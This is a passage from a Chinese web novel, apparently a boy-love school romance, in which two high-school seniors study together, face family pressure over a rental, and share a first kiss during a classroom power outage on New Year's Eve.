“那就别管。”许桑抬眸看了眼一楼的陈设, 向易承偏头,极小声地贴耳说了句,“帮我带杯咖啡,嗯?” “好。”易承气音回道。 随后推开大门先一步进去了。 看着他背影渐远, 许桑向旁边挺立的大柱子边走。 许铭发完气,才会稳住声音试图把话说得漂亮, “许桑, 烂地破事多,你不要也不能小看氛围带来的影响。厌学都能搞这么大动静,可见这边的学生有多不行了,我不能眼睁睁看着你变成一摊烂泥!” “呵。”许桑轻呵一声,“上次不是说,把我再转远些, 直接跟牛羊一窝睡?” 记性好有点好处,闹脾气时有旧账翻得出。 同理,别人翻旧账时你也有点印象。 许铭明显记得自己说过的话,干咳两声沉默片刻,才换了个语调,估计硬骂不行只能软语,“是我的不是。但你跟爸说说,野地方的教学水平怎么可能跟得上正规地方的?你现在回来成绩都不知道滑到哪去了!” 原来点在这里……许桑扯出一抹笑, “那我回来考一次。” “……”许铭估计牙都咬碎了,“老子服你了。还不得是我的基因好,不然你有这么聪明的脑子?” 许桑听出语气的转变, 平淡:“没事挂了。” “有事,有事!”许铭总觉得儿子比实习生还难带,心说:等你以后工作了,最好有个虐手下虐生虐死的上司! “快过年了,你阿姨办了个小型晚会,你那个好朋友意杉也在。要不要到时候回来吃个饭?” 许桑没答,等了两秒确定许铭没什么其他要交代的,便挂断电话。 …… 许桑转过身时,书店门口,红白色校服异常亮眼。长腿笔直立着,一少年端着木质饮料杯,跟他视线相接后,少年往前探了探杯口,像是无形中跟他碰了个杯。 深邃的眉眼里,蕴着星穹里的尘埃,细碎的光点铺叠,笑意藏得很浅。 一瞬间,许桑听到心脏的声音,在跳突——他权当是,器官也有生命,有感而在给这个光鲜的少年鼓掌。 “谢谢。”许桑上前,接过咖啡时,握住了他的手,“直接上二楼?” 易承垂眸看了眼,笑道:“别小看高三生的咖位。” 许桑轻笑:“那上三楼。” 教辅层出不穷,看得人眼花缭乱。不过这周来的人少,偶尔见的,也是手中拿本花花绿绿课外读物踢着腿在欢读的小孩。 易承没细看,锁定高三区,再锁定科目,抛去刷过的一两本,便直接由上而下开始捡书。 两分钟后,他抱着这一叠书,立定。 许桑倚着货架,抿了口咖啡,目光柔和地看着易承挑资料书,明白他的挑书习惯后,再看他挑的一大叠,许桑不禁一问:“刷过的这么少?” “……”易承偏头看他,“没办法,欠得太多。最近才进发到高三区域。” “嗯。”许桑上前,从一旁抽了两本教辅,放在他那一叠上,说道:“不急。” 易承看了眼胸前新添的书,无奈一笑。 诚明书店有个小特色,当层付款后,可当场消费——为何是“小”特色,因为:这特色就是句被忽略的废话复利用! 没让易承付钱,许桑先一步亮出付款码,看着易承有些诧异的目光,他解释道:“就当生日礼物吧。” 易承停滞两秒,“也行。” 教辅后有木质座椅,大横排,配有可移动案桌,早些年宣称的是“学生自习作业区”,后面慢慢演变成“家长放心溜娃区”。 今天人少,案桌摆放整齐,可容纳十余人的横椅,里面只有一人,带着副黑色蓝牙耳机,只光溜溜地穿了件黑色毛衣,毛球挂了一堆。 易承看了两眼,不确定:“这是……赵鸿途?” 许桑肯定:“是。” 就刚刚那人若有所思推眼镜的动作,别无他项可选了。 易承把一摞教辅放上案桌时,赵鸿途弹跳了一下,撞得自己面前的移动桌都飞了一米远,苦着脸拖回来时,他兴奋:“许哥,易哥,好巧!” “巧。”许桑没东西搬,便往里坐下。 易承抽出随身的笔,长腿往前伸着,单看很抢眼……他就这么随性坐着,翻开综合卷,笔帽一脱,笔身一转便开始写。 书店里放着白噪音,但因为音响问题,音量可忽略不计。 许桑衔着咖啡杯,目光落在赵鸿途左耳的耳机上。 大概是别人看你你会有所察觉,赵鸿途转了过来,发现许桑在看自己的耳机,心跳微微加速,他解释:“我喜欢做题时听音乐,从初中起就是。” “哦。”许桑不关心他喜欢什么,只关心…… 他说:“你耳机漏音。” 赵鸿途:“……” 原来晴天霹雳真实存在于一瞬间。 “那我关了。”赵鸿途脸胀成猴屁股,手忙脚乱地关了那首激情四射到要炸天炸地的神曲,取下耳机,尬笑:“之前耳机摔过一次,估计就不太好了。” 许桑“嗯”了一声,视线一转,落在易承做的题上。 人一旦尴尬了,做什么事都会显得忙乱,赵鸿途静不下心,便向旁边两人看去,一来一回间,他忽然想起小组讨论时,许桑说的那句“他交给我”,他一愣,求证般地问道:“许哥,你是来监督易哥学习的?” “嗯?”许桑放下杯子,递给易承,又:“嗯,算是。” “真是尽责啊。”赵鸿途合上卷子,小心翼翼地问了句,“许哥,你觉不觉得在家自学会比在学校效率高一些?” 许桑指尖轻顿:“怎么说?” “我看最近请假的人很多,搞得热火朝天的。像我,物理很好,英语也还行,我就觉得这些课没必要听,就想做其他弱科的。但每次老师眼神一扫过来,我就各种慌,觉得这样不好。可实际上,认真听完后又觉得这样浪费时间也浪费精力。所以,跟着形势,我觉得,可能在家自学会更适合我。” 许桑轻点头,反问:“都有结论了,还问我什么?” “因为不太敢,我怕自学之后,自制力不太行,家长也反对,可能心理因素波动更大。反正好坏各占一半吧,就很纠结。” 许桑没怎么动,看向他,“寒暑假自学过吧,都几年了效果还不清楚?” 赵鸿途:“……”这多少度的嘴说的话,怎生如此冰凉! 他挽尊:“但这毕竟是上课期间嘛,总会有些细微的不同。你想着别人在学校循规蹈矩地听课,但你能在家自由地学习,感觉还是不一样吧?” “嗯……”许桑平淡开口:“同理。” “什么意思?”赵鸿途一瞬间质疑了自己的理解能力。 许桑不知道他纠结半天的意义:“试两天,就有结论了。” “哦!”赵鸿途拍了拍手,“我好像悟了!” 许桑收回视线:“……”再不悟就是傻了- 站得高看得远,三楼的玻璃窗外,远远有十七中的校影,和网传的图片一样,不过校门口已经换上新的标语——“好好学习,天天向上”。 若记得不错,早前,那张标语是“快乐可以反复,高考只有一次”。 激进派爆改婉约派……除此之外,还贴着新标栏,大概写着“热烈庆祝同学返校”。 跟昨晚最早的一则消息相关:说是学校“强制要求”学生返校,除特别原因未返校者,学费打折返还、学籍滞留。还有几家学校措施相同……就是不知道周一的效果如何。 网上如今热度直线下滑,好似就是一场自导自演而后觉得没名堂就自解自结的闹剧。观众一旦离席,策划者都羞赧地恨不能先一步拉下帷幕。 【神奶他爹:几斤几两啊,高三的宝贝们,高考都进行多少年了,自己不行怪别人,发现怪来怪去没人买单还是得自己上阵,有意思吗请问。】 【刷完一百套卷子我成神:对不起,我有罪,我是学生我的本职就是学习,实在对不起,我明天抓起书包就回校,读抑郁算我的。】 【新用户FJOBS-1687:我是大学毕业生我来劝:你们挺牛逼的说实话,我学生时代天天零下洗冷水澡都没这么长时间不去学校,你们做到了!牛逼,也挺傻逼的,这跟你去上班抱怨上班没什么区别,抱怨可以,但直接不去上班,还那么长时间……想象到了吗?宝宝们。】 【晚安卡巴巴玛:热闹看完就散了吧,梦醒了就坐起来吧,倒回去再梦还能是一回事吗?】 【平安是福:现在的学生是真叛逆啊,我们那个时代,能学习就不错了,现在天天学习还整这一出,我看着都心寒。】 【紫妹@平安是福:阿姨/叔叔,话也不是这么说。现在有成人学校,线上课数不清,想学随时能学,怎么也不见你去学去上,看你主页点赞视频1w+了,有时间啊……别他妈用几十岁用久了的脑子想十几岁人的处境,他妈不是一回事。】 【别逼我,有结果:那什么,南城这地方挺包容哈,这种问题居然能闹起来,不过估计再过几天就没人看了,建议大家好好学习,保持状态,毕竟,还有一百六十几天,加油吧。】 【c你大爷:好讨厌学习,根本学不会,烦死了,烦死了,真他妈想死。】 【星期八的约定:想死的先别死,先当上大学生被我压榨干了再噶,OK?】 …… 周一上学,学校很热闹。是真热闹。 陈慢揉着黑眼圈去跟老师确认请假名单及请假条时,如释重负地叹了句,“终于回来了。” “哼。”徐富双手抱胸,眼袋垂着,很大一坨,被揍了一样眼周黑了一倍,估计这一周没睡好过,“你们越来越牛了。” “哪里哪里。”陈慢只当是夸奖呢,抬头就见徐富黑着的脸、发红的眼球混着团团血丝,一震,“徐老,我们理一班还是规规矩矩的啊,只是个别人听信风言风语有所懈怠,但今儿不是都回来了嘛,这是认识到错误并及时悔改,稍加生气后可以原谅嘛。” 徐富还是没被哄好:“哼。” “……”陈慢准备添把火,“你看,请假的这一位同学,估计是考差心情不好回去反思了——” 他戛然而止,因为给请假条反了面后,名字赫然写的是“赵鸿途。” 赵鸿途?! 他连忙扣过来,把添的柴火收回去,“徐老,您别生气嘛,气出病来无人替啊……” 一直走到教室门口,陈慢才停了一直叭叭的嘴,说得自己都快没词了……回到座位,他转头瞪了眼吕丁,气声说:“鸿途请假了!” 吕丁一震,转头,“鸿途请假了!” 陈慢:“……” 请问你是传播媒介还是传送带啊! 许桑和易承互看一眼:“……” 是赵鸿途请假他俩不批呢还是不准呢! 徐富站上讲台时,像才被扒过皮抽过筋,没人气,“部分同学们,好久不见呐。” 集体大声:“好久不见,老徐。” 部分小声:“实在是不想见呐,老徐。” “经常听到这个问题,为什么要当老师,三年一换,届届一样,不无聊吗?”徐富坐下,“我现在算是找到答案了,老子是来开眼的!学生简直一届比一届牛,牛翻了,龙王庙来了都压不住是不是!感谢你们这届英勇的学生,让我们老师短暂体验了半周的舆论中心、失业危机,实在感谢哈!” 徐富生气时,像只河豚,把自己气得鼓鼓的。偏偏肚皮漏气,漏的那一点就是他故意勾起的嘴角,专门用来发“呵”的音。 “你们进校时,距离高考一千零九十六天。自此直到两百天宣誓,这有零有整的八百九十六天,我们一直在讲意义。”徐富拿着他涂改几十遍的教案本,翻着看,“现在这么重要的时间节点上,你们反了,那行,我跟你们谈谈现实。” “现实就一句,能读的走高考,他妈不能读的走春招。够明白吧,春招报名还没截止,想早点结束就报名,反正混到六月,用你们的话说是浪费青春浪费时间;能读的,苟到高考,考完你就解放了……人生走的每一步路,都算数,是走是爬是跳是跑,是进是退,都是你们的选择。” “是,你们抱怨的没错,什么中国学生极为关键的一生,什么鸡汤文学喂者受益喝者受害,都对都对。老子只想说,一条路你走不远,适不适合是一方面,但绝不是全部。地球那么大,不围着你转,谁规定必须有个职位有条路适合你,况且有那么多个你。适合的问题,可能你找一辈子都无天然解;可你们偏不信。十七八岁的人,操着理想的刀走,我不反对;但请你们理想到位,别光对着未来,也照着点脚下。” 徐富整个人处于红温状态,毕竟憋下去很多有损师德的词。 他把教案翻到后面,倒着开始做题,抬头说了句,“剩下半小时自习,之后照常上课。” 教室里很安静,就像误触了“静音模式”。 比起其他班思想教育一阵嗨过一阵的动感音乐,能唤醒一个是一个。徐富的话就像冰雹,能砸死一个算一个- “真报春招又不划算了,好说歹说也就少读三个月,凭什么别的学生六月高考警察开路鲜花来接,我们就独自面对鲜为人知。” “你这么说的话,我其实挺向往高考那天的。看视频的时候就觉得很独特,那么多欢呼,那么多掌声,而且吧,几张卷子结束三年甚至十二年,是真的很浪漫吧。” “对啊,而且现在就一百多天了,累死累活也就一百多天了,有本事真把我累死,老子干定了!” “老徐给我说得一愣一愣的,我当时想:老徐,说这你还要不要工作了。但真挺深刻的,我真是短视频刷太多,脑子都刷短路了。” 下课铃一响,延迟半天的讨论才渐变似的大声,而后成为一阵哄然,谁都想出来说两句。 吕丁仰头叹息:“易哥,你当时看那些厌学视频的时候,有产生过放弃的想法吗?” “没有。”易承在跟教辅死磕,翻页的空隙回了他一句,“甚至更想学了。” “……”吕丁头差点往后仰断,“牛人,哦不,简直神人!易哥,你简直像变了一个人,比你之前牛逼的时候还要疯狂,天天早到晚退,不上厕所不休息,都进化成学习机器了!” 易承没应他这句,只冷冰冰地补充:“闭嘴。另外,也别骚扰我同桌。” 吕丁:“嗯??” 他脸上是写了下一步行动轨迹吗?一语道破也太没面子了! 不过他脸皮赛城墙,还是浅浅地“骚扰”了一下。 “许哥,鸿途说找你聊天之后他大悟特悟了。”吕丁眨巴眨巴眼,“你能跟我聊聊吗?” 许桑好整以暇地抬了次眸,笑说:“那得先有脑子。” 霸占了赵鸿途位置的陈慢笑得死去活来:“哈哈哈哈哈……” “别笑了。”吕丁转过头,“上周没考试,我的努力成果还没得到验证……慢慢,我们的比拼,这周一见分晓!”- 刘姨今天来了,说是来辞职的。 许桑没什么态度:“可以,随您。” “实在是对不起了,我得回去照顾纯儿,她今天去了趟学校,中午回来后吐了,说是真的很讨厌学习。我没办法,得照顾她,就没办法顾着这边了。”刘芳说着说着像要哭了。 许桑点头:“嗯,我这边没问题。” 也不需要了解那么多。 越解释,刘姨越显得卑微——明明辞职意味着“主动权在握”。 “我多想有个像你这样的孩子,聪明懂事,学习又好。”刘芳伸手抹了下泪,“但没想到心心念念了这么多年,纯儿会变成这样,但又不能放弃,学习还是要继续学的,等她好了,肯定就能好好学,是不是?” 许桑抿唇,扯了两张纸给她。思考良久后,他开口:“刘姨。” 刘芳把卫生纸盖在脸上,声音哽咽:“你说。” 许桑语气温和:“投资自己。至于儿女,投机都算不上,只能是赌博。” “什么意思?”刘芳抬头,被自己蠢笑了一样,笑破一个大鼻涕泡。 许桑也跟着笑了,没想再细说。他起身,“稍等。” 一分钟后,他从卧室拿出一个独立U盘,交给了刘芳,“刘姨,这是一套全程课,我跟过,质量很高……祝您女儿早日康复,您也如愿。” 刘芳站起身,双手碰着银色U盘,受宠若惊地直点头:“啊!谢谢,谢谢。” 许桑朝她微微笑了一下。 至于工资,许桑没耗时费力地去跟张文丽联系,跟地下室接头一样复杂。他看了眼自己的账户余额,弯下身,要了刘芳的银行卡号,未满但仍按两月结满后,将人送走了。 从冰箱取了些水果,许桑简单装盘后,回了卧房。 对面的灯亮着,有个奋笔疾书的少年正卯足了劲地弥补过去的遗憾,也在耕耘未来的长途。 许桑叼了块草莓,翻出手机,才点开题库,电话就跳进来了。 “……”有完没完,许铭是口水分泌上瘾吗? 许桑边看题,边听电话。 “长话短说,回来还是露宿街头?”许铭像是终于找到了跟许桑交流的正确打开方式。 许桑轻挑眉:“嗯?” “回来呢,吃我的喝我的睡我的,想要什么有什么;不回来呢,我看你卡里刚支出去四千,余额过不顺畅吧?”许铭又啰嗦了,“况且,感谢你阿姨遇人不淑,我知道你张姨压根没管你,还请了个人,不过这人走了是不是?” 许桑不语。 “你张姨有水平,房租只交了两月,剩下的钱存银行收利息了。”许铭说着说着大笑,“所以,儿子,回来吧!你总不能靠着你卡里残存的千把块钱,过完剩下一个半月甚至四五个月吧。” 许桑轻笑一声。 “对了,我忘说了。这周中最迟这周末就有人租你那间房了,本来该是你张姨考虑的问题,现在落在你身上了。” 许铭像是很喜欢这个“问题转移”,兴奋得嗓子冒烟,“你答应回来,我凌晨三点都能开车来接你,就你一句话的事!” 许桑终于有了反应:“……” 若非有不靠谱的张姨在其中占据重要一环,他甚至想往什么阴谋论上猜了。 “许桑,你说句话。实在不说呢,我下周就暂时把你卡停了,什么时候松口什么时候打钱给你。”许铭乐呵地笑出了声。 许桑咽了草莓,说:“随你。” 许铭声音拔高:“许桑,你是蛋壳做的吗?这个时候还能这么硬气?” 许桑嗤笑一声:“我金刚石做的。” 说完,他啪的一声挂断了电话。 而后,狠狠戳了一个草莓,一口囫囵了! 许铭了解的情况很全面,只是有关他的,都有偏误。 比如,他的资产状况。 首先,张姨欠他四千,没还;其次,卡里的“千把块”,具体为三千二;最后,他有自己的钱,具体金额还没算过。 许桑倚着书台坐下,皱了下眉:着实没想到自己有一天会考虑到租房问题。 宿舍是第一个排除的,南城附中最低六人寝;另外,这一环节需要家长的手续交接。 他翻了下附近的租房广告,价位比想象的高——“败絮其外,金玉其中”是么?况且地理位置也不太行,离学校远。 想着,他问了个熟·南城人。 【许桑:南城租房,哪找?】 易承手机应该在近旁,消息才发出去,顶上便显出“对方正在输入” 不过,像在纠结,很久才跳出来,一堆。 【易承:找我。】 【易承:〔图片〕】他的自拍,顺便拍到了身后整洁的床面。 【易承:连人带房,租给你,要吗?】 第67章 第67章 【“他不喜欢草莓味。”】…… 许桑:“……”他咽了下口水。 【许桑:我认真的。】 对面回得很快。 【易承:我也认真的。】 【许桑:解释。】 消息没收到, 反倒是第一时间跳出个电话,来电人:“易承”。 许桑戴上耳机,“你说。” 声音撞在鼓膜, 很近,像是贴耳的低语,“李承宇那单交易能成,九成是因为:这边的租房黑色规则, 虽说很多针对的是生意店面。黑大混这条道的,所以我爸欠他那么多钱, 也……”易承停顿了一下, 继续说:“反正,跟我你不亏。” 许桑偏头戳了块苹果,咬断。 但易承话说着,还顺手给他发了一串电话号码,“有便宜不想占的话呢,你联系这个大姐, 姓王,她手上房源多,短期内——” 许桑没存号码,笑说,“我占。” “什么?”易承刚发出去第二个号码。 许桑扩句:“你的便宜,我占。” “啧。”易承停下敲备注的手指,登时就笑了,“你这话, 有歧义。” “是吗?”许桑望着窗的方向,发现对窗坐着的人影不见了,疑惑地抬了下眉:“歧义是?” 易承从卫生间出来, 坐上床,看对窗,视线相接,他笑:“阅读理解白做了?” 许桑眼神一转,多了些意味不明,但很快恢复往常,他回道:“嗯,没办法,语文不好。” 易承轻顿:这貌似是个事实,虽然任谁来了第一反应都是不太相信。 第一次考试他就注意到了,许桑的语文成绩不算差得离谱,但比起其他科成绩,就显得干瘪了。 之后也是,白晓莉当众找过许桑几次,好话歹话都说了尽,可他成绩依旧不见得有多大的提升,除了上次大型联考,估计运气加持,有了十几分的提升,自此就回落,平平淡淡若往昔了。 易承转而笑说:“歧义么,下次再告诉你。” “嗯,”许桑不好问,“明天我过来。” 易承难得情绪变调:“这么迅速?” 许桑平静:“不然?” 这么晚跟人对消息,算骚扰了! “行。”易承起身下床,趿着拖鞋出了卧室,“晚安。” 许桑转身,弯腰从柜子里拖出尘封的行李箱:“晚安。”- 早自习已上到一半,第一节数学课的课代表都蠢蠢欲动地想招呼大家“准备数学试卷”了……陈慢在这时刻,离奇地发现:他妈班上只来了大半的学生! 这些是昨天都被徐富的语言冰雹砸死了吗? 没等他焦头烂额,上课铃打响,而后他更离奇地发现:同学们陆陆续续在进来,但徐富还没来。 “先自习,先自习,别慌,阵脚不能乱!”陈慢跟数学课代表窃窃私语着,时而扒着门往外看,时而去趟办公室探情况。 “老师,您好,我是理一班的班长。今天第一节课是徐老师的,但他没来,是换课了、请假了还是——” 年级主任取下老花镜,冷静:“先上自习吧。他个傻逼堵路上了。” 陈慢:“……” 他转身,才进教室上讲台,就撞上浑身是汗、着急忙慌抱着长套羽绒服冲进来的徐富,两人打了个眼神照面。 “实在不好意思,同学们,学校那条路施工,技术不过关导致封路,我在路上绕了几圈才绕来,抱歉哈!”徐富气喘吁吁地放下外套,摸出塑料袋里的教案本,“刚在路上还撞见一堆学生,没事哈,特殊情况特殊处理,不会记迟到不会扣分的。” 之前徐贵提过一次,说估计元旦后修好,但实际是,元旦当天出技术故障、正极力抢修中——估计之前的努力也白费了。 这带交通直接堵成智障,十分钟都动不了一点,学生还好,大不了下车走,虽然晚但决计不会太晚……但老师就不一样了,总不能撂下车人走车留吧,所以直至交通疏通,才飞奔赶来。 “我就说嘛,迟到不是主观的,这纯纯客观,客观得不能再客观了!” “修修修,一天天的就知道修,学过地理城市管理就知道,这他妈不靠谱啊!” “我来的时候遇到骑小电驴的白老母了,笑死我,她想走车缝过去,结果卡住了……简直是社交恐怖分子,她跟左边的副驾聊完,又跟右边的司机聊,不过没被理,她就站起来伸着脖子边骂边跟人搭话,我看着都尴尬。” “我还以为旧事重发又厌学了呢,要不是陪我的人只是被堵在路上而不是躺在家里,我都想放弃了。幸好,你们在!” “在说什么废话呢,”徐富翻到了习题册,正色:“以为我来晚了就会羞愧然后放任你们叽叽喳喳喳喳叽叽吗?把习题册翻出来,我找两个同学上来做。” 教室瞬间安静了,只有忙乱的纸页翻打声。 “吕丁、陈慢上来。”徐富往后看了一眼,“我看你们坐成前后桌都能笑得额头贴额头,上来笑,顺便做道题?” 吕丁笑不出来了:“好的,老师。” 陈慢转过脑袋,后知后觉地起立:“老徐,冤枉啊!” “把你嘴角收下去再说冤枉。”徐富标好题号后,拿着粉笔走下讲台,直接坐在了吕丁的位置,横着,一手架在许桑的桌上。 许桑轻抬头:嗯? “另外宣布个好消息。”徐富摆弄着吕丁桌上的笔,盯着那页狗爬字,脑子都混浊了。他连忙转头,看着许桑的卷面,却见: 那是张……物理试卷? 物理?!徐富心口子阵痛,视线往上一瞥,就见页顶飘着两个行偏草的字体,他跟着念出来:“易承?” 易承抬头,却见徐富视线落点不在他:“嗯?” 班上的人视线除了看好戏般落在讲台上抓耳挠腮的两人身上,还分了一些在后排的徐富身上——谁叫老徐说宣布好消息,还没宣布声音就噶了。 看着许桑拿着支红笔,像在批改,徐富问道:“你是不是欺负许桑同学?” 他心想:批改卷子,一个能气死人的工作。这莫名其妙把自己卷子丢给别人批改,不是故意欺负就是恶意报复! “……”易承气笑了:“哪得出的结论?” “那你卷子丢给别人干嘛?自己没手不能改?”徐富没在明面但在心里补充一句:关键还改的是物理试卷! 易承偏头看了眼许桑,却见许桑眉眼含笑地靠着椅背看他,好似自己就是被欺负的那个。 刚刚是谁主动要帮他清知识点的……易承挑眉,看着许桑的眼睛服软:“我的错,我的错。” “认错态度都不像样!”徐富轻声责骂。 易承扛着飞来横锅保持沉默。 但念及是易小子,徐富扭过头:“自己把卷子拿回去,另外第七题的答案错了,把红叉收回去。” 易承看过去:“嗯?” 许桑转了圈笔,淡声:“您还是教数学实在。” “……”徐富把那张卷子反过来,才发现漏看了个条件,刚刚就直接凭经验选了。他掩面笑了一声,师者发言:“小许,可以,胆色不错!” 许桑没答,只把卷子收回,继续看题。 往这边看的同学,没听到对话,只是觉得老徐跟后桌两位谈笑风生,氛围简直不要太好,有种自己看戏都格格不入的错觉。 “哦,我来宣布那个好消息。”徐富转过头来,看了眼讲台上两人,黑板几乎写得满满当当的,他意外地笑了一声,才转过头继续说:“很抱歉,元旦这天还把大家留在学校。所以,今晚有个元旦晚会,你们没时间筹备,学校都安排好了,不过暂时还是分班的。反正,新年第一天,我们一起度过。” “so,消息好在哪里?我在被窝里玩手机请问哪里不好呢?” “不知道该哭还是该笑!” “我听说,今年元旦不放假,是因为上周的事,学校觉得咱们休息够了……早知道就跟风休息,不搞特立独行了!” “晚会?好陌生的东西,不过还挺高兴的,哈哈哈哈……” “能点歌吗?想看新同学跳舞!” “住校生能发手机吗?想拍照!” ……“都安静,数学课不是鸟语课!”徐富守着纪律。 讲台上的两个人互相看了一眼,而后抬头把粉笔丢进铁盒,神纠纠气昂昂地往台下走。 徐富伸手平复了吵闹的学生们,抬头看了眼过程和答案,惊喜道:“我专门挑了道有难度的题,你俩这进步,可以啊!” 说完,他挑出彩色粉笔,给两个答案都打了个对勾,欣慰:“同学们呐,之前的数学困难户,现在已经能把偏压轴的三角函数问题做出来了,你们也要加把劲努把力啊!” 有点眼力见的人鼓起了巴巴掌:“牛逼牛逼。” “不牛逼,不牛逼。”吕丁把最后一个大饺子塞进嘴里,“陈慢也做出来了,显得我像原地踏步没进步!” “……”陈慢戳了块虾饺,“小丁,你这叫恶性竞争了哈!明明应该先对许哥说谢,真是没有礼貌不讲礼节。” “对哦。”吕丁连忙看向许桑,“许哥,之前我问过你类似那道的题。感谢许哥开了金口,我等会请你喝水!” “那我请许哥吃东西!”陈慢举起筷子乱舞。 许桑把碗里的菜叶子夹起来,“不用。” “那不行,老徐说了,晚上的晚会,自己把零食带够,纯玩!”陈慢往前探头,“许哥,易哥,你们的零食我们包了!” 易承掀起眼皮,曾经“忠诚且侍主唯一”的两人,现在是把许桑叫哥叫的一个比一个欢。若他俩真身是只狗的话,恐怕尾巴都能甩出高速公路的车速了…… 他“啧”了声,轻声开口:“我准备你们许哥的。” “啊?”陈慢给虾饺来了个腰斩,筷子顺带劈了个叉,“易哥,你什么时候这么大方了?” 易承:“……”看,这就是曾经的“小弟”。 “没事没事,都买了让许哥挑。”吕丁坐直擦嘴,“你们吃完了吗?进小卖部要趁早,不然容易被挤扁。”- “亲爱的同学们,敬爱的老师,我先向大家说一句:元旦快乐!祝愿新的一年,学业有成,顺顺利利!”主持的女生拿着小蜜蜂,招呼着人把教室灯关了。 女生说着,没憋住笑,后半截虚飘飘的:“我们元旦晚会就一个活动:观看央视频道的元旦晚会。” “我是真贱啊,没看过元旦晚会还是怎么着的,居然期待了整整十个小时!” “牛逼,但凡是高二高一的学弟学妹唱个歌排个小品呢,结果,在线转播是吧?” “没事,没事,没事……” “也行,在家我看不下去的东西,这种场合我还是愿意赏脸一看的!” 徐富这回没阻断任何议论,提出一袋旺仔牛奶糖和一箱水果糖,站上讲台,凭嗓子硬喊:“孩子们,我选了两天,饼干吃了怕你们太干便秘,水喝了怕你们太湿一直跑厕所,所以思来想去买了糖。老徐祝你们:新年快乐,好好学习吧,六月末,老子亲自给你们放炮!” “哈哈哈哈……” 糖从前排依次传下,两颗旺仔糖配两颗水果糖……而后,同学保持低音量,观看晚会。 陈慢占了赵鸿途的位置,转过来想说开场节目的音乐还行,就见后桌的易承埋着头不知道在做什么。 再偏,他许哥也埋着头……两人像搞什么秘密交易一样,他好奇宝宝附身:“许哥,易哥,你俩干嘛呢?” 易承坐直,把手心里整齐的两颗草莓味硬糖放桌上:“换糖。” “为什么?”陈慢余光瞥着舞蹈,正眼看着他桌上被投屏映亮的水果糖。 老徐只选了两种口味:草莓味、柠檬味。依次传下来的。 易承撕开水果糖包装:“他不喜欢草莓味。” 陈慢眼皮跳了跳,一不跳灾二不跳财,单纯震惊,他有句“你怎么知道”想问但没开口,转过去,只道:同桌关系确实好得快。 九点二十后,节目接近尾声——因为快放学了。 正在进行的是一场歌舞,气氛欢脱。歌熟,所以大半的人在一展歌喉。 而在这热哄哄的气氛里,音乐骤断、屏幕骤熄,入夜的天撑不起一点光亮,整个教室陷入伸手不见五指的昏黑。 一阵密密麻麻的恐慌蔓延开,幻化成一阵高过一阵的呼喊。 许桑眼睛缓慢地眨了一下:设施这么老? 下一秒,疑惑被紧急吞没。 有只手用力抓住了他的衣领,把他往旁边狠地一带,他没坐稳,重心不稳要摔过去前,一条腿偏过来,重重抵住他偏滑的大腿。 那手反手翻转向上,贴合住他的下颌,食指用力。许桑喉头一滚,呼吸逼紧时向旁边偏过脑袋。 黑暗中,视觉细胞休眠,其余感官紧急上线,像这辈子没上过班一样,敏感得要命。 许桑手指抓紧椅子,直觉有热气在脸颊处扑腾,他压低声音:“做什么?” 易承没说话,虎口抵在许桑下巴窝,使了些力气地向上抬。许桑没禁住,被迫仰头,随后有拇指碾过他下唇,粗粝的质感在唇上游走,停住,向下拉……唇瓣被迫张开。 许桑眼睫轻颤,一个呼吸还没进行完,唇被咬住,草莓味的甜腻化开、继而充斥满整个口腔。 太他妈禁忌了……许桑后背绷直,咬紧牙关想推开人,耳边突兀地落下一声,声音哑得不行,“让我。” “嗯?”许桑没反应过来什么意思。 直到软舌生硬撬开齿牙,势不可挡地长驱直入,他吞咽不得,张着嘴任易承流连、驰骋……许桑才明白过来。 就在喘不过气、要憋死自己的瞬间,耳边落满嘈喧的声音。 “停电了,卧槽!” “老徐刚进来说,就那个施工队,把学校电缆挖断了,正极力抢修中。” “有灯的开个灯谢谢,有手机的小心点、别顺手了。” “都没灯啊?你们都不挑灯夜读什么的吗?” …… 原来一系列令他神经紧绷的动作,前后不过持续了一两分钟。 许桑偏过头,坐回椅子上时,手被轻轻握住了……易承的手指在搔他手心的痒。 “如何?”易承舔舐了圈濡湿的唇瓣,头枕着手,手肘撑在许桑桌面。 许桑艰难吞咽了一次,口腔里还满满是草莓味,却不似之前那般惹人讨厌了。但……他耳垂爬满绯红,偏过头尽量冷声:“滚。” 易承笑:“我说草莓糖。” 许桑抿唇:“不好吃。” “真的吗?”易承勾着唇,步步向他逼近。 许桑伸手推开他的脸:“……” 易承有分寸地握住他这只手,十指扣紧向回折,在躁动的黑暗里小声:“许桑,新年快乐。” “嗯。”许桑心跳始终归不了正常频次,在疯狂中迷失理智。他抬头望了眼前方混乱的人影,回了句:“新年快乐。” 第68章 第68章 【“剩下的租你。”】…… “我操, 好刺激好刺激!求求别打灯,我喜欢这种氛围!”吕丁激动得前后跺脚,跺了一圈后, 他转过头,“许哥,易哥,是不是很刺激?居然全都停电了, 好巧好刺激!” 易承坐回位,柔和的眉眼偏去许桑的方向, 他手指轻轻刮过自己下唇被咬痛的地方, 回道:“刺激。” 许桑则沉默,一语不发,只是默默地消化那股草莓味儿。 “求求别来电,这个氛围下,我能勉强在学校待个通宵!”吕丁苍蝇搓手。 “想屁吃!”陈慢经他一提醒,才想起自己手表有夜光, 匆忙调出来后,他讥笑一声:“你的坏消息我们的好消息:还有七分钟放学。” 吕丁哭脸享受这种氛围:“……” 智能手机玩溜了,最原初的技能就容易卡壳,徐富瞎了半天,才调出手机自带的“手电筒”模式,笑嘻了脸: “停电了那就没办法了,明天来学校注意早点出发绕路……走读生现在可以走了。住校生得等到供电,不过估计等不到了, 事故问题有点大,校领导那边还在策划。那我给住校生们打手电,送你们回寝室?” “呼~”陈慢起身:“回家!” “好吧。”吕丁伸手乱摸了一下, 把桌上没拆封鼓鼓囊囊的薯片、面包、酥抱起来,瞎了一样摸索着向前,“许哥,快接一下!” 许桑向前倾身,静静看了两秒,借前门手电筒照出的光线,描出零食袋的包装,问:“怎么?” “买给你的,刚看节目太兴奋忘了分。”吕丁说道,“快,都特别好吃!” 许桑反手勾到书包,起身准备走:“不用,谢谢。” “那易哥你接着,”吕丁转了个向,“我和慢慢的心意都在!” 易承已经挎上书包直起身靠着墙,看了眼他的手,弯身取过没用过的塑料袋,没客气:“谢了。” 吕丁嘻嘻一笑:“应该的。”- 沿途把零食悉数进贡给门口的某保安,走出一截路后,易承勾了下许桑的手,看他表情正经得过分,他晃了晃勾到的手,问:“生气了?” 许桑回答:“没有。” 易承停下步子看着他:“那这是?” 许桑难得眼神闪躲,别开他的眼睛,直言:“没缓过来。” 闻声,易承愣了好久,尤其是许桑说这话时下意识捏紧手、连带着压住他的指尖,渡过来一阵凉意。 